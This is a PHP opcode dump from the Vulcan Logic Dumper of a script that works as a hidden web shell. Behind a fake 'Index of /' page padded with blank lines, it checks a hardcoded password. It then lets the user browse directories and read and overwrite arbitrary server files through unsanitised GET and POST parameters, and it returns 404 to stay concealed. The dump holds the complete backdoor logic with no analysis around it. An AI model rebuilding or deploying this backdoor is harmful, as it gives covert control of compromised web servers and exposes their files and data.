Finding entry points Branch analysis from position: 0 2 jumps found. (Code = 43) Position 1 = 14, Position 2 = 130 Branch analysis from position: 14 2 jumps found. (Code = 46) Position 1 = 17, Position 2 = 21 Branch analysis from position: 17 2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 115 Branch analysis from position: 22 2 jumps found. (Code = 43) Position 1 = 31, Position 2 = 37 Branch analysis from position: 31 1 jumps found. (Code = 42) Position 1 = 77 Branch analysis from position: 77 1 jumps found. (Code = 42) Position 1 = 104 Branch analysis from position: 104 2 jumps found. (Code = 44) Position 1 = 110, Position 2 = 78 Branch analysis from position: 110 1 jumps found. (Code = 42) Position 1 = 129 Branch analysis from position: 129 1 jumps found. (Code = 42) Position 1 = 177 Branch analysis from position: 177 2 jumps found. (Code = 43) Position 1 = 180, Position 2 = 195 Branch analysis from position: 180 2 jumps found. (Code = 43) Position 1 = 198, Position 2 = 227 Branch analysis from position: 198 1 jumps found. (Code = 42) Position 1 = 216 Branch analysis from position: 216 2 jumps found. (Code = 44) Position 1 = 220, Position 2 = 206 Branch analysis from position: 220 2 jumps found. (Code = 43) Position 1 = 222, Position 2 = 224 Branch analysis from position: 222 1 jumps found. (Code = 42) Position 1 = 227 Branch analysis from position: 227 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 224 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 206 2 jumps found. (Code = 43) Position 1 = 208, Position 2 = 211 Branch analysis from position: 208 1 jumps found. (Code = 42) Position 1 = 215 Branch analysis from position: 215 2 jumps found. (Code = 44) Position 1 = 220, Position 2 = 206 Branch analysis from position: 220 Branch analysis from position: 206 Branch analysis from position: 211 2 jumps found. (Code = 44) Position 1 = 220, Position 2 = 206 Branch analysis from position: 220 Branch analysis from position: 206 Branch analysis from position: 227 Branch analysis from position: 195 Branch analysis from position: 78 2 jumps found. (Code = 46) Position 1 = 80, Position 2 = 82 Branch analysis from position: 80 2 jumps found. (Code = 43) Position 1 = 83, Position 2 = 104 Branch analysis from position: 83 2 jumps found. (Code = 43) Position 1 = 89, Position 2 = 97 Branch analysis from position: 89 1 jumps found. (Code = 42) Position 1 = 104 Branch analysis from position: 104 Branch analysis from position: 97 2 jumps found. (Code = 44) Position 1 = 110, Position 2 = 78 Branch analysis from position: 110 Branch analysis from position: 78 Branch analysis from position: 104 Branch analysis from position: 82 Branch analysis from position: 37 1 jumps found. (Code = 42) Position 1 = 65 Branch analysis from position: 65 2 jumps found. (Code = 44) Position 1 = 69, Position 2 = 55 Branch analysis from position: 69 2 jumps found. (Code = 43) Position 1 = 71, Position 2 = 73 Branch analysis from position: 71 1 jumps found. (Code = 42) Position 1 = 77 Branch analysis from position: 77 Branch analysis from position: 73 1 jumps found. (Code = 42) Position 1 = 104 Branch analysis from position: 104 Branch analysis from position: 55 2 jumps found. (Code = 43) Position 1 = 57, Position 2 = 60 Branch analysis from position: 57 1 jumps found. (Code = 42) Position 1 = 64 Branch analysis from position: 64 2 jumps found. (Code = 44) Position 1 = 69, Position 2 = 55 Branch analysis from position: 69 Branch analysis from position: 55 Branch analysis from position: 60 2 jumps found. (Code = 44) Position 1 = 69, Position 2 = 55 Branch analysis from position: 69 Branch analysis from position: 55 Branch analysis from position: 115 2 jumps found. (Code = 43) Position 1 = 119, Position 2 = 129 Branch analysis from position: 119 2 jumps found. (Code = 43) Position 1 = 125, Position 2 = 129 Branch analysis from position: 125 1 jumps found. (Code = 42) Position 1 = 177 Branch analysis from position: 177 Branch analysis from position: 129 Branch analysis from position: 129 Branch analysis from position: 21 Branch analysis from position: 130 2 jumps found. (Code = 43) Position 1 = 134, Position 2 = 165 Branch analysis from position: 134 2 jumps found. (Code = 43) Position 1 = 148, Position 2 = 154 Branch analysis from position: 148 1 jumps found. (Code = 42) Position 1 = 162 Branch analysis from position: 162 1 jumps found. (Code = 42) Position 1 = 177 Branch analysis from position: 177 Branch analysis from position: 154 1 jumps found. (Code = 42) Position 1 = 177 Branch analysis from position: 177 Branch analysis from position: 165 2 jumps found. (Code = 43) Position 1 = 169, Position 2 = 174 Branch analysis from position: 169 1 jumps found. (Code = 42) Position 1 = 177 Branch analysis from position: 177 Branch analysis from position: 174 2 jumps found. (Code = 43) Position 1 = 180, Position 2 = 195 Branch analysis from position: 180 Branch analysis from position: 195 filename: /in/pQMUD function name: (null) number of ops: 229 compiled vars: !0 = $handle, !1 = $dir, !2 = $dd, !3 = $dc, !4 = $bb, !5 = $entry, !6 = $bl, !7 = $password, !8 = $filename, !9 = $contents, !10 = $file_handle line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 2 0 E > ECHO '%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%3Chtml%3E%0A%09%3Ctitle%3EIndex+of+%2F%3C%2Ftitle%3E%0A%09' 275 1 INIT_FCALL 'session_start' 2 DO_ICALL 276 3 INIT_FCALL 'define' 4 SEND_VAL 'PASSWORD' 5 SEND_VAL 'MosheBenLulu' 6 DO_ICALL 277 7 INIT_FCALL 'header' 8 SEND_VAL 'Content-Type%3A+text%2Fhtml%3B+charset%3Dutf-8' 9 DO_ICALL 278 10 FETCH_R global ~14 '_GET' 11 FETCH_DIM_R ~15 ~14, 'page' 12 IS_EQUAL ~15, 'get' 13 > JMPZ ~16, ->130 280 14 > FETCH_IS ~17 '_SESSION' 15 ISSET_ISEMPTY_DIM_OBJ 0 ~18 ~17, 'utf8-52' 16 > JMPZ_EX ~18 ~18, ->21 17 > FETCH_R global ~19 '_SESSION' 18 FETCH_DIM_R ~20 ~19, 'utf8-52' 19 IS_EQUAL ~21 ~20, 'indexed' 20 BOOL ~18 ~21 21 > > JMPZ ~18, ->115 283 22 > ECHO '%09%09%3Cform+method%3D%22post%22%3E%0A%09%09%09%3Ch1%3EIndex+of+%2F' 284 23 FETCH_R global ~22 '_GET' 24 FETCH_DIM_R ~23 ~22, 'dir' 25 ECHO ~23 26 ECHO '%3Ca+href%3D%22%3Fpage%3Dlogout%22+style%3D%22color%3Awhite%3B%22%3ELOGOUT%3C%2Fa%3E%3C%2Fh1%3E%0A%09%09%09%3Cul%3E%0A%09%09%09%09' 287 27 FETCH_IS ~24 '_GET' 28 ISSET_ISEMPTY_DIM_OBJ 0 ~25 ~24, 'dir' 29 BOOL_NOT ~26 ~25 30 > JMPZ ~26, ->37 289 31 > INIT_FCALL 'opendir' 32 SEND_VAL '.' 33 DO_ICALL $27 34 ASSIGN !0, $27 290 35 ASSIGN !1, '' 36 > JMP ->77 294 37 > INIT_FCALL 'opendir' 38 FETCH_R global ~30 '_GET' 39 FETCH_DIM_R ~31 ~30, 'dir' 40 SEND_VAL ~31 41 DO_ICALL $32 42 ASSIGN !0, $32 295 43 FETCH_R global ~34 '_GET' 44 FETCH_DIM_R ~35 ~34, 'dir' 45 CONCAT ~36 ~35, '%2F' 46 ASSIGN !1, ~36 296 47 INIT_FCALL 'explode' 48 SEND_VAL '%2F' 49 SEND_VAR !1 50 DO_ICALL $38 51 ASSIGN !2, $38 297 52 ASSIGN !3, 0 298 53 ASSIGN !4, '' 299 54 > JMP ->65 301 55 > IS_EQUAL !4, '' 56 > JMPZ ~42, ->60 303 57 > FETCH_DIM_R ~43 !2, !3 58 ASSIGN !4, ~43 59 > JMP ->64 307 60 > CONCAT ~45 !4, '%2F' 61 FETCH_DIM_R ~46 !2, !3 62 CONCAT ~47 ~45, ~46 63 ASSIGN !4, ~47 309 64 > PRE_INC !3 299 65 > COUNT ~50 !2 66 SUB ~51 ~50, 2 67 IS_SMALLER !3, ~51 68 > JMPNZ ~52, ->55 311 69 > IS_EQUAL !4, '' 70 > JMPZ ~53, ->73 313 71 > ECHO '%3Cli%3E%3Ca+href%3D%27%3Fpage%3Dget%27%3EParent+Directory%3C%2Fa%3E%3C%2Fli%3E' 72 > JMP ->77 317 73 > ROPE_INIT 3 ~55 '%3Cli%3E%3Ca+href%3D%27%3Fpage%3Dget%26dir%3D' 74 ROPE_ADD 1 ~55 ~55, !4 75 ROPE_END 2 ~54 ~55, '%27%3EParent+Directory%3C%2Fa%3E%3C%2Fli%3E' 76 ECHO ~54 320 77 > > JMP ->104 321 78 > IS_NOT_EQUAL ~57 !5, '.' 79 > JMPZ_EX ~57 ~57, ->82 80 > IS_NOT_EQUAL ~58 !5, '..' 81 BOOL ~57 ~58 82 > > JMPZ ~57, ->104 322 83 > CONCAT ~59 !1, !5 84 ASSIGN !6, ~59 323 85 INIT_FCALL 'is_dir' 86 SEND_VAR !6 87 DO_ICALL $61 88 > JMPZ $61, ->97 325 89 > ROPE_INIT 6 ~63 '%3Cli%3E%3Ca+href%3D%27%3Fpage%3Dget%26dir%3D' 90 ROPE_ADD 1 ~63 ~63, !1 91 ROPE_ADD 2 ~63 ~63, !5 92 ROPE_ADD 3 ~63 ~63, '%27%3E' 93 ROPE_ADD 4 ~63 ~63, !5 94 ROPE_END 5 ~62 ~63, '%3C%2Fa%3E%3C%2Fli%3E' 95 ECHO ~62 96 > JMP ->104 329 97 > ROPE_INIT 6 ~67 '%3Cli%3E%3Ca+href%3D%27%3Fpage%3Dset%26file%3D' 98 ROPE_ADD 1 ~67 ~67, !1 99 ROPE_ADD 2 ~67 ~67, !5 100 ROPE_ADD 3 ~67 ~67, '%27%3E' 101 ROPE_ADD 4 ~67 ~67, !5 102 ROPE_END 5 ~66 ~67, '%3C%2Fa%3E%3C%2Fli%3E' 103 ECHO ~66 320 104 > INIT_FCALL 'readdir' 105 SEND_VAR !0 106 DO_ICALL $70 107 ASSIGN ~71 !5, $70 108 TYPE_CHECK 1018 ~71 109 > JMPNZ ~72, ->78 333 110 > INIT_FCALL 'closedir' 111 SEND_VAR !0 112 DO_ICALL 335 113 ECHO '%09%09%09%3Cul%3E%0A%09%09%3C%2Fform%3E%0A%09' 114 > JMP ->129 342 115 > ECHO '%09%09%3Cform+method%3D%22post%22%3E%0A%09%09%09%3Cinput+type%3D%22password%22+name%3D%22password%22+%2F%3E%0A%09%09%09%3Cinput+type%3D%22submit%22+name%3D%22submit%22+%2F%3E%0A%09%09%3C%2Fform%3E%0A%09' 347 116 FETCH_IS ~74 '_POST' 117 ISSET_ISEMPTY_DIM_OBJ 0 ~74, 'submit' 118 > JMPZ ~75, ->129 349 119 > FETCH_R global ~76 '_POST' 120 FETCH_DIM_R ~77 ~76, 'password' 121 ASSIGN !7, ~77 350 122 FETCH_CONSTANT ~79 'PASSWORD' 123 IS_EQUAL !7, ~79 124 > JMPZ ~80, ->129 352 125 > FETCH_W global $81 '_SESSION' 126 ASSIGN_DIM $81, 'utf8-52' 127 OP_DATA 'indexed' 353 128 ECHO '%3Cscript%3Etop.location%3D%22%22%3B%3C%2Fscript%3E' 129 > > JMP ->177 358 130 > FETCH_R global ~83 '_GET' 131 FETCH_DIM_R ~84 ~83, 'page' 132 IS_EQUAL ~84, 'set' 133 > JMPZ ~85, ->165 360 134 > FETCH_R global ~86 '_GET' 135 FETCH_DIM_R ~87 ~86, 'file' 136 ASSIGN !8, ~87 362 137 ECHO '%09%09%3Cform+method%3D%22post%22%3E%0A%09%09%09%3Ctextarea+name%3D%22text%22+rows%3D%2250%22+cols%3D%22100%22%3E' 364 138 INIT_FCALL 'fopen' 139 SEND_VAR !8 140 SEND_VAL 'r%2B' 141 DO_ICALL $89 142 ASSIGN !0, $89 365 143 INIT_FCALL 'filesize' 144 SEND_VAR !8 145 DO_ICALL $91 146 IS_EQUAL $91, 0 147 > JMPZ ~92, ->154 367 148 > INIT_FCALL 'fread' 149 SEND_VAR !0 150 SEND_VAL 1 151 DO_ICALL $93 152 ASSIGN !9, $93 153 > JMP ->162 371 154 > INIT_FCALL 'fread' 155 SEND_VAR !0 156 INIT_FCALL 'filesize' 157 SEND_VAR !8 158 DO_ICALL $95 159 SEND_VAR $95 160 DO_ICALL $96 161 ASSIGN !9, $96 373 162 > ECHO !9 374 163 ECHO '%3C%2Ftextarea%3E%3Cbr+%2F%3E%0A%09%09%09%3Cinput+type%3D%22submit%22+name%3D%22sub1%22+value%3D%22Save%22+%2F%3E%0A%09%09%09%3Cinput+type%3D%22submit%22+name%3D%22sub2%22+value%3D%22Cancel%22+%2F%3E%0A%09%09%3C%2Fform%3E%0A%09' 164 > JMP ->177 380 165 > FETCH_R global ~98 '_GET' 166 FETCH_DIM_R ~99 ~98, 'page' 167 IS_EQUAL ~99, 'logout' 168 > JMPZ ~100, ->174 382 169 > FETCH_W global $101 '_SESSION' 170 ASSIGN_DIM $101, 'utf8-52' 171 OP_DATA '' 383 172 ECHO '%3Cscript%3Ealert%28%22Logout%21%22%29%3Btop.location%3D%22%3F%22%3B%3C%2Fscript%3E' 173 > JMP ->177 387 174 > INIT_FCALL 'header' 175 SEND_VAL 'HTTP%2F1.1+404+Not+Found' 176 DO_ICALL 389 177 > FETCH_IS ~104 '_POST' 178 ISSET_ISEMPTY_DIM_OBJ 0 ~104, 'sub1' 179 > JMPZ ~105, ->195 391 180 > INIT_FCALL 'fopen' 181 SEND_VAR !8 182 SEND_VAL 'w' 183 DO_ICALL $106 184 ASSIGN !10, $106 392 185 INIT_FCALL 'fwrite' 186 SEND_VAR !10 187 FETCH_R global ~108 '_POST' 188 FETCH_DIM_R ~109 ~108, 'text' 189 SEND_VAL ~109 190 DO_ICALL 393 191 INIT_FCALL 'fclose' 192 SEND_VAR !10 193 DO_ICALL 394 194 ECHO '%3Cscript%3Ealert%28%22Edited%21%22%29%3Btop.location%3D%22%3Fpage%3Dget%22%3B%3C%2Fscript%3E' 396 195 > FETCH_IS ~112 '_POST' 196 ISSET_ISEMPTY_DIM_OBJ 0 ~112, 'sub2' 197 > JMPZ ~113, ->227 398 198 > INIT_FCALL 'explode' 199 SEND_VAL '%2F' 200 SEND_VAR !8 201 DO_ICALL $114 202 ASSIGN !2, $114 399 203 ASSIGN !3, 0 400 204 ASSIGN !4, '' 401 205 > JMP ->216 403 206 > IS_EQUAL !4, '' 207 > JMPZ ~118, ->211 405 208 > FETCH_DIM_R ~119 !2, !3 209 ASSIGN !4, ~119 210 > JMP ->215 409 211 > CONCAT ~121 !4, '%2F' 212 FETCH_DIM_R ~122 !2, !3 213 CONCAT ~123 ~121, ~122 214 ASSIGN !4, ~123 411 215 > PRE_INC !3 401 216 > COUNT ~126 !2 217 SUB ~127 ~126, 1 218 IS_SMALLER !3, ~127 219 > JMPNZ ~128, ->206 413 220 > IS_EQUAL !4, '' 221 > JMPZ ~129, ->224 415 222 > ECHO '%3Cscript%3Etop.location%3D%22%3Fpage%3Dget%22%3B%3C%2Fscript%3E' 223 > JMP ->227 419 224 > CONCAT ~130 '%3Cscript%3Etop.location%3D%22%3Fpage%3Dget%26dir%3D', !4 225 CONCAT ~131 ~130, '%22%3B%3C%2Fscript%3E' 226 ECHO ~131 423 227 > ECHO '%3C%2Fhtml%3E' 228 > RETURN 1
Generated using Vulcan Logic Dumper, using php 8.0.0